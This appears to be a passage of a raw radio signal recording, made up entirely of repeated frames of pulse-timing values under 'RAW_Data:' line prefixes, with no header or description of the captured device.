-1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 3401 -1402 1799 -3002 1797 -1398 3401 -3002 1801 -1396 1793 -1398 3401 -8220 2607 -1888 3817 -2618 3609 -3002 3403 -3002 3401 -3002 3401 -3006 3399 -2994 3401 -2994 3403 -2998 3405 -2994 3393 -3004 3401 -2998 3405 -1398 1791 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -2996 1799 -1402 1799 -1398 1797 -1400 3401 -2996 3401 -1400 1801 -2994 3401 -3004 3393 -1400 1801 -3002 1795 -1394 3399 -1400 1801 -1400 1801 -2994 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 3401 -1398 1791 -3004 1803 -1402 3393 -3002 1795 -1396 3397 -3002 3401 -4962 8235 -2580 3581 -2994 3403 -2994 3401 -2994 3401 -3004 3393 -3002 3393 -3002 3403 -3002 3393 -2994 3403 -3006 3397 -2998 3405 -1398 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1795 -1402 1801 -1400 3401 -2996 3401 -1400 1801 -3002 3395 -3002 3397 -1404 1797 -2990 3403 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 -RAW_Data: 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 3401 -1398 1791 -3000 1799 -1402 3401 -2998 1805 -1398 3389 -1400 1801 -8008 2567 -1896 3829 -2822 3413 -3014 3407 -3002 3401 -2994 3401 -3002 3395 -3002 3399 -3004 3395 -3002 3399 -3004 3393 -2996 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -3002 1801 -1402 1799 -1402 1795 -1394 3397 -3004 3401 -1400 1797 -2990 3401 -3004 3401 -1400 1801 -2998 3397 -3004 1795 -1394 3397 -3002 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 3403 -1404 1795 -2992 1799 -1402 3401 -2998 3407 -2998 1799 -1394 3791 -4154 1719 -2816 3391 -3170 3285 -3136 3323 -3106 3317 -3134 3147 -3164 3173 -3188 3389 -2994 3395 -3002 3393 -3002 3401 -3002 3395 -3002 3393 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -3006 1801 -1394 1791 -1398 1801 -1400 3401 -3002 3403 -1396 1791 -3000 3401 -3002 3403 -1396 1793 -2998 3401 -3008 3405 -2994 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 3401 -1402 1801 -3002 1799 -1402 3401 -2994 3403 -2994 3405 -8152 1939 -2656 3635 -2818 3409 -3014 3405 -3002 3403 -2994 3401 -2994 -RAW_Data: 3401 -3004 3393 -3002 3401 -2998 3211 -3198 3393 -2994 3395 -3002 3401 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -2990 1801 -1400 1801 -1402 1799 -1398 3397 -3002 3401 -1402 1795 -3000 3401 -2994 3403 -1400 1795 -2992 3401 -3006 3407 -1396 1791 -2996 1805 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -1402 1799 -2994 1801 -1402 3401 -3002 3393 -1398 1797 -3002 3601 -4348 1837 -2790 3659 -2830 3417 -3016 3405 -3002 3401 -3002 3403 -3002 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3395 -3002 3393 -3006 3205 -1598 1791 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -3000 1799 -1398 1797 -1400 1801 -1396 3399 -3002 3401 -1398 1795 -3002 3403 -3002 3393 -1402 1799 -3002 3395 -1400 1801 -2998 1805 -1396 1791 -1398 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 3399 -1400 1801 -2994 1801 -1400 3401 -3002 3395 -1400 1801 -1398 1791 -8144 1783 -2880 3443 -3018 3419 -3004 3403 -3002 3401 -3002 3401 -2996 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3403 -2994 3401 -3002 3393 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1795 -3000 1799 -1402 1799 -1402 1801 -1400 3393 -3004 3401 -1396 1793 -2998 3403 -3002 3401 -1400 1797 -2990 3407 -1404 1795 -2992 3401 -3002 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 -RAW_Data: 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 3397 -1402 1801 -3002 1799 -1398 3397 -1402 1799 -3004 1795 -1394 1797 -1400 4407 -3438 2423 -2508 3661 -2838 3421 -3020 3405 -3002 3401 -3002 3403 -3006 3397 -2994 3393 -3004 3401 -2994 3401 -3002 3403 -2994 3401 -3002 3399 -1400 1791 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3401 -1398 1791 -2998 3403 -3002 3401 -1398 1791 -2998 3403 -1400 1795 -1398 1801 -3002 1795 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 3407 -1400 1791 -2992 1801 -1400 3401 -1402 1801 -2994 1799 -1402 3401 -5710 183 -2022 2537 -1884 3815 -2610 3601 -3002 3401 -3002 3403 -3002 3393 -3002 3403 -2994 3405 -3006 3393 -2996 3393 -3002 3401 -2994 3403 -3002 3393 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3407 -1400 1791 -2996 3405 -2994 3403 -1396 1791 -3000 3401 -1402 1795 -1394 1797 -1400 1801 -3002 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 3397 -1402 1799 -3008 1803 -1398 3395 -1404 1795 -2990 3403 -3002 3593 -4580 1655 -3024 3321 -2950 3563 -2974 3385 -2992 3397 -2998 3393 -3000 3397 -3002 3393 -2996 3401 -3006 3397 -2994 3403 -3002 3399 -3004 3399 -1400 1789 -1392 1797 -1402 1799 -1402 1799 -1402 1801 -3002 -RAW_Data: 1795 -1394 1791 -1398 1801 -1400 3403 -3002 3401 -1402 1799 -2994 3403 -2994 3401 -1402 1799 -1402 1795 -2992 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -1400 1795 -3000 1801 -1400 3401 -1402 1801 -2994 3401 -1400 1797 -7502 3329 -1154 3985 -2602 3601 -3008 3397 -2994 3393 -3002 3407 -2998 3393 -2998 3407 -2994 3401 -2994 3401 -2996 3401 -2994 3401 -2994 3403 -1400 1801 -1396 1797 -1402 1799 -1398 1797 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1400 3403 -3002 3401 -1402 1795 -2992 3401 -3002 3401 -1398 1791 -1398 1801 -3002 1799 -1402 1801 -1396 3389 -3004 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 3403 -1400 1801 -3002 1795 -1394 3399 -1400 1801 -1400 1801 -2994 1801 -1400 4395 -3776 14743 -2408 3811 -2802 3401 -3002 3401 -3002 3403 -3002 3393 -3002 3401 -2996 3401 -3002 3401 -2994 3395 -3002 3393 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -2990 1801 -1400 1801 -1402 1799 -1398 3397 -3002 3407 -1404 1795 -2992 3407 -2996 3395 -1400 1795 -1398 1801 -3002 1801 -1396 3391 -3002 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 -RAW_Data: 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1799 -1398 3397 -1402 1799 -3002 1797 -1394 3397 -1402 1799 -1402 1799 -2996 3401 -3996 385 -3102 2063 -3036 3275 -3042 3425 -3020 3405 -3006 3411 -2996 3395 -3002 3393 -3002 3395 -3002 3393 -3002 3401 -3002 3395 -3002 3393 -3002 3403 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -3002 1799 -1402 1801 -1396 1791 -1398 3403 -3002 3407 -1404 1595 -3194 3407 -2994 3393 -1402 1795 -1394 1797 -3002 1799 -1402 3401 -1398 1795 -3004 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 3403 -1400 1801 -3002 1795 -1394 3391 -1400 1801 -1400 1801 -1400 1801 -3002 3603 -1478 645 -1724 2035 -3064 3173 -3182 3187 -3190 3393 -2996 3401 -3002 3393 -3002 3403 -2994 3401 -2994 3407 -2998 3393 -3002 3393 -3002 3403 -2994 3401 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -2998 1801 -1402 1799 -1402 1795 -1394 3397 -3002 3403 -1400 1795 -3000 3401 -3002 3395 -1400 1801 -1396 1797 -3002 3407 -2998 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 3407 -1400 1791 -2992 1799 -1402 3401 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -8088 1731 -3044 3437 -3028 3261 -3072 3287 -3118 3295 -3118 3323 -3148 3167 -3180 3185 -3190 3395 -2994 3399 -3004 3393 -2996 3401 -2994 3401 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -2996 1799 -1402 1799 -1402 1801 -1396 3397 -2996 3401 -1400 1801 -3006 3403 -2998 3397 -1400 -RAW_Data: 1793 -1394 1795 -3004 3401 -3002 3393 -2994 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 3393 -1402 1801 -3002 3393 -3002 1801 -1396 1797 -1402 1799 -1402 1795 -1398 3401 -4926 8515 -2468 3839 -2822 3413 -3010 3407 -3004 3403 -3002 3393 -3002 3393 -3004 3401 -2994 3393 -3002 3403 -3002 3401 -2994 3395 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -3002 1799 -1402 1795 -1398 1801 -1400 3403 -2994 3401 -1402 1799 -2994 3403 -3002 3393 -1402 1799 -1398 1795 -3004 3401 -1396 1793 -2998 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 3403 -1396 1791 -3000 3401 -3002 1801 -1400 1797 -1394 1795 -1402 3407 -8138 1617 -2850 3563 -2976 3385 -2990 3395 -2994 3401 -2994 3401 -2996 3401 -3002 3401 -2994 3403 -2994 3401 -2994 3407 -3006 3393 -2994 3407 -1400 1791 -1394 1797 -1400 1801 -1402 1799 -1398 1795 -3004 1799 -1402 1795 -1398 1801 -1400 3401 -2996 3401 -1400 1797 -2990 3403 -3002 3401 -1400 1801 -1398 1791 -2998 3403 -1400 1801 -1400 1801 -2994 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 -RAW_Data: 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 3401 -1402 1801 -3002 3397 -3006 1795 -1394 1793 -1398 3401 -3002 3601 -4378 1989 -2806 3493 -2902 3511 -2930 3349 -3166 3183 -3186 3389 -2994 3403 -2994 3407 -3004 3395 -2994 3393 -3002 3401 -3004 3393 -3002 3393 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -3002 1801 -1398 1795 -1402 1801 -1400 3393 -3002 3403 -1396 1793 -3002 3405 -2996 3405 -1400 1793 -1394 1795 -1402 1801 -3002 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 3401 -1402 1801 -3002 3401 -2994 1801 -1400 1801 -1402 3393 -1400 1801 -7422 9169 -1802 3795 -2600 3611 -3002 3401 -3006 3405 -2996 3393 -3002 3407 -2996 3395 -2994 3401 -3002 3403 -2994 3401 -2994 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -2992 1799 -1402 1801 -1400 1801 -1400 3401 -2996 3401 -1396 1797 -3002 3403 -3002 3393 -1400 1801 -1398 1791 -1398 1801 -3002 1799 -1402 3401 -2994 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 3393 -1402 1795 -3000 3401 -3002 1795 -1394 3399 -3002 1799 -1402 3801 -1286 649 -2066 2205 -3008 3427 -3012 3407 -3006 3393 -2994 3393 -3002 3403 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -3002 3393 -3002 3395 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -3002 1799 -1402 1801 -1396 1797 -1400 3403 -2994 3401 -1402 1795 -2998 3403 -3002 3393 -1402 1799 -1398 1791 -1398 1801 -3002 3401 -3002 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1795 -1398 -RAW_Data: 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -1400 1801 -3002 3393 -3002 1797 -1394 3397 -3002 3401 -7732 14869 -2460 3833 -2818 3409 -3004 3401 -3002 3401 -3002 3403 -3002 3405 -2998 3393 -3004 3393 -2994 3407 -3008 3199 -1596 1789 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -2994 1801 -1400 1801 -1400 1801 -1398 3397 -3002 3401 -1398 1791 -3000 3401 -2994 3401 -1402 1801 -1400 1801 -1400 1795 -2992 3401 -1402 1801 -3002 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 3407 -1400 1791 -2992 3401 -3004 1799 -1402 3407 -1400 1789 -2988 3403 -3830 2193 -2986 3375 -2944 3501 -3050 3235 -3018 3409 -3002 3403 -3002 3401 -3002 3401 -3002 3395 -3002 3393 -3006 3207 -3194 3399 -3004 3393 -1398 1791 -1398 1801 -1400 1801 